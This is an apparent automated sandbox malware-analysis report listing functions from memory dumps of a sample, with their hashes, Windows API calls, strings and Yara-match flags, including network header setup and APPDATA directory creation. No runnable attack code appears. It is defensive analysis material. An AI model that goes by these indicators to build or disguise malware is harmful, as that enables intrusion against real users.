Associated: 00000000.00000002.2612263548.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 6858cf0c51ff5caabfc3a7f957f7e97cc4d55c404d013567cdc706fa4bfc5bf2
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 5111087774118243D681C56DC4F86ABA3DEFBC52A0729436AF0D28FA58D2F2DAC5A600

Function 0040B690 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: b545b07da7e7745530abcd8f67b80a540579b97e0dd86f1b90800f2e494ad7bb
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: F1115B7720004243D604862DCDF45BBA395EBC5320B2C477BD0516BBD4D33BD841968D

Function 009CF2D1 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2609374987.00000000009A9000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a9000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f08b9358d88e9f1580e6c94b348322eef91f5a1441a9d5f1b02d5ff5dc46e54e
Instruction ID: 16c424adc4985367f18a4bce07082ab681e40344ce865571843421409995f3c1
Opcode Fuzzy Hash: f08b9358d88e9f1580e6c94b348322eef91f5a1441a9d5f1b02d5ff5dc46e54e
Instruction Fuzzy Hash: 3C2158B282CB94EFC7497E24D8A5A3AF3E5FF00750F260D2DD1D282240D7785580EA83

Function 00CEC9DB Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2609959909.0000000000CEC000.00000040.00000020.00020000.00000000.sdmp, Offset: 00CEC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cec000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: c374aa39776dee5f51400340137c7a0c72162bef656ba4047e8d3728d24eab6b
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 98117C72340144AFD754DE9ADCC1FA673EAEB88360B298065ED04CB356E675EC42D760

Function 04B40D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 293818218bedeef1481949536c6cc3e7b8a6b3c3ef9f58d5a142aa209fb16be8
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 8801A276A006148FDF21EF24CC04BAA33F5EFC6216F4548F5EA0A9B281E774B9459B90

Function 00AAA02D Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2609374987.0000000000AA9000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AA9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_aa9000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57f825a01b677f507934ec3e44805798b2075f600c9ae2c825d8feb518526f97
Instruction ID: ee9dbf19c6aec139c34d06db6aa2cf2ed116d83ae04526e42b6680c283ed8a20
Opcode Fuzzy Hash: 57f825a01b677f507934ec3e44805798b2075f600c9ae2c825d8feb518526f97
Instruction Fuzzy Hash: 91E06DB62C92252DE12195155E22AFBA7ADDBE7731B20402AF640C79C2C394894E8276

Function 10007A76 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2612219452.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2612202169.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612243212.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612263548.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 225e9490ce15994035050fff8e8d94bbe50aeb352c3921d505d22bbc77bda227
Instruction ID: 49573a245b17cd2143a7f0a663dc82b9d5ba07e6c12e429f55ccbb336c262c76
Opcode Fuzzy Hash: 225e9490ce15994035050fff8e8d94bbe50aeb352c3921d505d22bbc77bda227
Instruction Fuzzy Hash: CEE08C32E11228EBCB10CB88C940E8AB3ECFB86A80F114096B505E3101D274DF00C7C2

Function 00409B9D Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(0042D064,00000FA0,?,?,00409B7B), ref: 00409BA9
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,00409B7B), ref: 00409BB4
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00409B7B), ref: 00409BC5
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00409BD7
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00409BE5
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00409B7B), ref: 00409C08
DeleteCriticalSection.KERNEL32(0042D064,00000007,?,?,00409B7B), ref: 00409C24
CloseHandle.KERNEL32(00000000,?,?,00409B7B), ref: 00409C34

Strings

WakeAllConditionVariable, xrefs: 00409BDD
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00409BAF
kernel32.dll, xrefs: 00409BC0
SleepConditionVariableCS, xrefs: 00409BD1

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 4fb7e18995e5e2f02b724b68456555f771a33f70ab985dbad30083c91c8ea3bd
Instruction ID: 37dafa969150eeb09f2d68ad9d46abae469e8d92b579355ddc2ecf38041403ba
Opcode Fuzzy Hash: 4fb7e18995e5e2f02b724b68456555f771a33f70ab985dbad30083c91c8ea3bd
Instruction Fuzzy Hash: 4B017531F44721BBE7205BB4BC09F563AE8AB48715F544032F905E22A2DB78CC078A6C

Function 10001CDD Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 156COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 10001CE7
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,00000264,1000202E,?), ref: 10001D2D
CreateDirectoryA.KERNEL32(?,00000000,?,?,00000000,?,?,00000001,00000000), ref: 10001DE9
GetLastError.KERNEL32(?,?,00000001,00000000), ref: 10001DF9
GetTempPathA.KERNEL32(00000104,?,?,?,00000001,00000000), ref: 10001E12
CreateDirectoryA.KERNEL32(?,00000000,?,?,00000000,?,?,00000001,00000000,?,?,00000001,00000000), ref: 10001ECC
GetLastError.KERNEL32(?,?,00000001,00000000,?,?,00000001,00000000), ref: 10001ED2

Strings

APPDATA, xrefs: 10001D3F
TMPDIR, xrefs: 10001E24

Memory Dump Source

Source File: 00000000.00000002.2612219452.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2612202169.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612243212.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612263548.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: CreateDirectoryErrorLastPath$FolderH_prolog3_Temp
String ID: APPDATA$TMPDIR
API String ID: 1838500112-4048745339
Opcode ID: 00851e4ded4e5e03db144df6c0333d2f877147d47fd9b3b0a9c51e3763c74205
Instruction ID: 65cc4f0b8c34a884811309b14049f09b1d2f67be4c4777eb46c939f585e6cab7
Opcode Fuzzy Hash: 00851e4ded4e5e03db144df6c0333d2f877147d47fd9b3b0a9c51e3763c74205
Instruction Fuzzy Hash: 6B515E70900259EAFB64EBA4CC89BDDB7B9EF04380F5005E9E109A6055DB74AFC4CF61

Function 100010C7 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 55networkCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 100010CE
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001103
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001123
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001143
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001163

Strings

Accept-Language: ru-RU,ru;q=0.9,en;q=0.8, xrefs: 10001105
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1, xrefs: 10001125
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0, xrefs: 10001145
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1, xrefs: 100010D9

Memory Dump Source

Source File: 00000000.00000002.2612219452.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2612202169.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612243212.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612263548.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: HeadersHttpRequest$H_prolog3_
String ID: Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1$Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0$Accept-Language: ru-RU,ru;q=0.9,en;q=0.8$Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
API String ID: 1254599795-787135837
Opcode ID: 8d3d7825b2bb6dea36e27622bcd4b7ddfc44603214986a735072bca3a8471053
Instruction ID: 505ec4d7c45309835e960384523a5e30396a54de81b8e769e2ad7823f420ed9d
Opcode Fuzzy Hash: 8d3d7825b2bb6dea36e27622bcd4b7ddfc44603214986a735072bca3a8471053
Instruction Fuzzy Hash: DA119372D0010DEEEB10DBA9DC91DEEBB78EB18351FA0C019F22176051DB75AA45DBB1

Function 0041C38F Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,0041CE8F), ref: 0041C3A8

Strings

log, xrefs: 0041C405, 0041C414
sqrt, xrefs: 0041C4E7
exp, xrefs: 0041C427, 0041C48C
log10, xrefs: 0041C3EA, 0041C3F9
acos, xrefs: 0041C4DE
pow, xrefs: 0041C446, 0041C4F0, 0041C53D
asin, xrefs: 0041C4D5

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: 05187ea62b41d2bf9bc39929cbb8bd1b88e738aa0c5724388b28886b27f4fa98
Instruction ID: c807006a3b6ff10d3a002f023a5ec1143af0d4f8941b6a10615b45774aafcbb0
Opcode Fuzzy Hash: 05187ea62b41d2bf9bc39929cbb8bd1b88e738aa0c5724388b28886b27f4fa98
Instruction Fuzzy Hash: A751CC7098422AEBCB108F98ED9C5FE7F71FB05304F908057D480A6664C7BC99A6CB5D

Function 04B4BF22 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 04B4C041
___TypeMatch.LIBVCRUNTIME ref: 04B4C14F
_UnwindNestedFrames.LIBCMT ref: 04B4C2A1
CallUnexpected.LIBVCRUNTIME ref: 04B4C2BC

Strings

csm, xrefs: 04B4BF5F
csm, xrefs: 04B4C078
csm, xrefs: 04B4BFCC

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction ID: e769a1497f5f0b0bf19501427c623a02dc9f3c0e8932f9e3e1ab43ee31c592b3
Opcode Fuzzy Hash: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction Fuzzy Hash: 0CB1BC31901209EFDF15DFA4C8809AEBBB4FF84B14F12409AE9156B611D375FA21EFA1

Function 04D0B0BB Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMON

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 04D0B1DA
___TypeMatch.LIBVCRUNTIME ref: 04D0B2E8
_UnwindNestedFrames.LIBCMT ref: 04D0B43A
CallUnexpected.LIBVCRUNTIME ref: 04D0B455

Strings

csm, xrefs: 04D0B165
csm, xrefs: 04D0B0F8
csm, xrefs: 04D0B211

Memory Dump Source

Source File: 00000000.00000003.1947099269.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction ID: 7b6221219bb55dbb89d748f8856a00264ef97102b8050ef18d9d3324b3a3e2c7
Opcode Fuzzy Hash: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction Fuzzy Hash: 42B14671904609EFDF29DFE4C880AAEBBB5FF04314B14C15AE8116B295E770FA51CBA1

Function 10004131 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 10004250
___TypeMatch.LIBVCRUNTIME ref: 1000435E
_UnwindNestedFrames.LIBCMT ref: 100044B0
CallUnexpected.LIBVCRUNTIME ref: 100044CB

Strings

csm, xrefs: 1000416E
csm, xrefs: 10004287
csm, xrefs: 100041DB

Memory Dump Source

Source File: 00000000.00000002.2612219452.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2612202169.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612243212.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612263548.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: c4421cf047d38b61ed069ce13853ee51e8b724bc32a0b317f19ee854d316b146
Instruction ID: 3d3d7b973083d5502e03e9704e538657a8ad6664bd6ca03923258a49de60437f
Opcode Fuzzy Hash: c4421cf047d38b61ed069ce13853ee51e8b724bc32a0b317f19ee854d316b146
Instruction Fuzzy Hash: C0B180B5C00209DFEF05DF94D881A9EBBB9FF04390F12415AF8116B21ADB31EA51CB99

Function 0040BCBB Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0040BDDA
___TypeMatch.LIBVCRUNTIME ref: 0040BEE8
_UnwindNestedFrames.LIBCMT ref: 0040C03A
CallUnexpected.LIBVCRUNTIME ref: 0040C055

Strings

csm, xrefs: 0040BE11
csm, xrefs: 0040BD65
csm, xrefs: 0040BCF8

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction ID: 526bd2c442181307887733989819878d768e136a746cf2eec307868f2bd45ee9
Opcode Fuzzy Hash: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction Fuzzy Hash: EEB1477180020AEBCF25DFA5C8819AEBBB5EF04314B14416BE815BB292D738DA51CFDD

Function 04B49E04 Relevance: 12.1, APIs: 8, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(0042D064,00000FA0,?,?,04B49DE2), ref: 04B49E10
GetModuleHandleW.KERNEL32(0041FFC8,?,?,04B49DE2), ref: 04B49E1B
GetModuleHandleW.KERNEL32(0042000C,?,?,04B49DE2), ref: 04B49E2C
GetProcAddress.KERNEL32(00000000,00420028), ref: 04B49E3E
GetProcAddress.KERNEL32(00000000,00420044), ref: 04B49E4C
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,04B49DE2), ref: 04B49E6F
RtlDeleteCriticalSection.NTDLL(0042D064), ref: 04B49E8B
CloseHandle.KERNEL32(0042D060,?,?,04B49DE2), ref: 04B49E9B

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID:
API String ID: 2565136772-0
Opcode ID: 4fb7e18995e5e2f02b724b68456555f771a33f70ab985dbad30083c91c8ea3bd
Instruction ID: 0490debc15bb4a8c0a4d31c76c5214d529bf7ff565f83897017f23eb67320fec
Opcode Fuzzy Hash: 4fb7e18995e5e2f02b724b68456555f771a33f70ab985dbad30083c91c8ea3bd
Instruction Fuzzy Hash: 51017571F80711ABD7305BB4FC0DF973AE8EB88B05B504475F905E2165DB64D80B9A68

Function 04B54033 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 04B540B9

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 40243c521aab70af30abc9ec0642881d9f494199df659fe1a780e76705c17a36
Instruction ID: f0959f5707d28880e6a4cf676283cfc3501dcefef9f6dc977072ec63deb0a225
Opcode Fuzzy Hash: 40243c521aab70af30abc9ec0642881d9f494199df659fe1a780e76705c17a36
Instruction Fuzzy Hash: 55B17872A00265AFEB118F64CC81BAEFFB5EF55344F1441E5ED04AF2A1D275B981C7A0

Function 04D131CC Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 04D13252

Memory Dump Source

Source File: 00000000.00000003.1947099269.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 40243c521aab70af30abc9ec0642881d9f494199df659fe1a780e76705c17a36
Instruction ID: 417bccfef4060ed6a3966fa8bbcf6eb7b6f96e728a362a52769359c78c714c5c
Opcode Fuzzy Hash: 40243c521aab70af30abc9ec0642881d9f494199df659fe1a780e76705c17a36
Instruction Fuzzy Hash: 74B14772A00295BFFB12CFA8EC81BAE7BA5FF55310F144165ED04AB2A1D674F901C7A0

Function 00413DCC Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00413E52

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: bf0b0920984447c06244afe43fd9d6a0130e4e86955e3e91be41bedb8128cd91
Instruction ID: 4a21b80fcc43a582202c6f7144ab3ce64f52356938c116e7343db5097d41ee6d
Opcode Fuzzy Hash: bf0b0920984447c06244afe43fd9d6a0130e4e86955e3e91be41bedb8128cd91
Instruction Fuzzy Hash: 57B13672E003559FDB118F65CC81BEF7FA5EF59310F14416BE904AB382D2789A82C7A8

Function 100028D6 Relevance: 10.6, APIs: 7, Instructions: 136COMMONLIBRARYCODE

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 1000291D
___scrt_uninitialize_crt.LIBCMT ref: 10002937

Memory Dump Source

Source File: 00000000.00000002.2612219452.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2612202169.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612243212.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612263548.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: bcaf1c042ea0bc50edbc81b8ebd31fe72f9a2e1de53f2412ad321d30f710d584
Instruction ID: 04769ff959a67eddfc0a91c70c155494b73e6b711ec1a15a155288148215b0b0
Opcode Fuzzy Hash: bcaf1c042ea0bc50edbc81b8ebd31fe72f9a2e1de53f2412ad321d30f710d584
Instruction Fuzzy Hash: 3741F372E05229AFFB21CF68CC41BAF7BA4EB846D0F114119F84467258DB309E419BA1

Function 04D0ABC0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 04D0ABF7
___except_validate_context_record.LIBVCRUNTIME ref: 04D0ABFF
_ValidateLocalCookies.LIBCMT ref: 04D0AC88
__IsNonwritableInCurrentImage.LIBCMT ref: 04D0ACB3
_ValidateLocalCookies.LIBCMT ref: 04D0AD08

Strings

csm, xrefs: 04D0AC9D

Memory Dump Source

Source File: 00000000.00000003.1947099269.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction ID: f3c310302b0c40c20b9b34b855988e141cdf130191ac3f7e6030e8d48a8665a6
Opcode Fuzzy Hash: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction Fuzzy Hash: 8641A134B00308ABCF10DF68C884B9EBBA5FF44328F15C155E8155B391D775B905CBA5

Function 10003A20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 10003A57
___except_validate_context_record.LIBVCRUNTIME ref: 10003A5F
_ValidateLocalCookies.LIBCMT ref: 10003AE8
__IsNonwritableInCurrentImage.LIBCMT ref: 10003B13
_ValidateLocalCookies.LIBCMT ref: 10003B68

Strings

csm, xrefs: 10003AFD

Memory Dump Source

Source File: 00000000.00000002.2612219452.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2612202169.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612243212.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612263548.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 618cc4b1c9e8ab126c58b9dfa5104022869f7905af091c597ce0ca7ba0b792b2
Instruction ID: 53213870faae5245fec6ed73a44d54790f208d332314260de239e107b7581961
Opcode Fuzzy Hash: 618cc4b1c9e8ab126c58b9dfa5104022869f7905af091c597ce0ca7ba0b792b2
Instruction Fuzzy Hash: 2A41E434A002189FDF02CF68C881A9FBBF9EF453A8F11C065E9149B356C771EA15CB91

Function 0040B7C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0040B7F7
___except_validate_context_record.LIBVCRUNTIME ref: 0040B7FF
_ValidateLocalCookies.LIBCMT ref: 0040B888
__IsNonwritableInCurrentImage.LIBCMT ref: 0040B8B3
_ValidateLocalCookies.LIBCMT ref: 0040B908

Strings

csm, xrefs: 0040B89D

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction ID: 0a5d0bd6c222bbdd43f8b319fa79a96d429a9708f3c046b0ae0cbd11a01f7e51
Opcode Fuzzy Hash: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction Fuzzy Hash: 11418535A00219DBCF10EF69C885A9EBBA5EF44318F14C17AE8147B3E2D7399905CBD9

Function 100072FC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

api-ms-, xrefs: 10007353
ext-ms-, xrefs: 10007367

Memory Dump Source

Source File: 00000000.00000002.2612219452.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2612202169.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612243212.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612263548.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: cde85c6b5c8b57cdf34b7df1744eca22314f2c72a21997f039bbb8b7806936d4
Instruction ID: 4a8ea71034e84b8525c0961ad639e20c08c2bf99947945f029ec6b94e21b7784
Opcode Fuzzy Hash: cde85c6b5c8b57cdf34b7df1744eca22314f2c72a21997f039bbb8b7806936d4
Instruction Fuzzy Hash: DC219671E01321EBF722DB648C81A4E37A4FB456E0B214124ED59A7195D778EE00A6E1

Function 00413339 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00413448,00403597,?,00000000,00402809,0040280B,?,004135C1,00000022,FlsSetValue,00422950,00422958,00402809), ref: 004133FA

Strings

ext-ms-, xrefs: 004133A4
api-ms-, xrefs: 00413390

Memory Dump Source

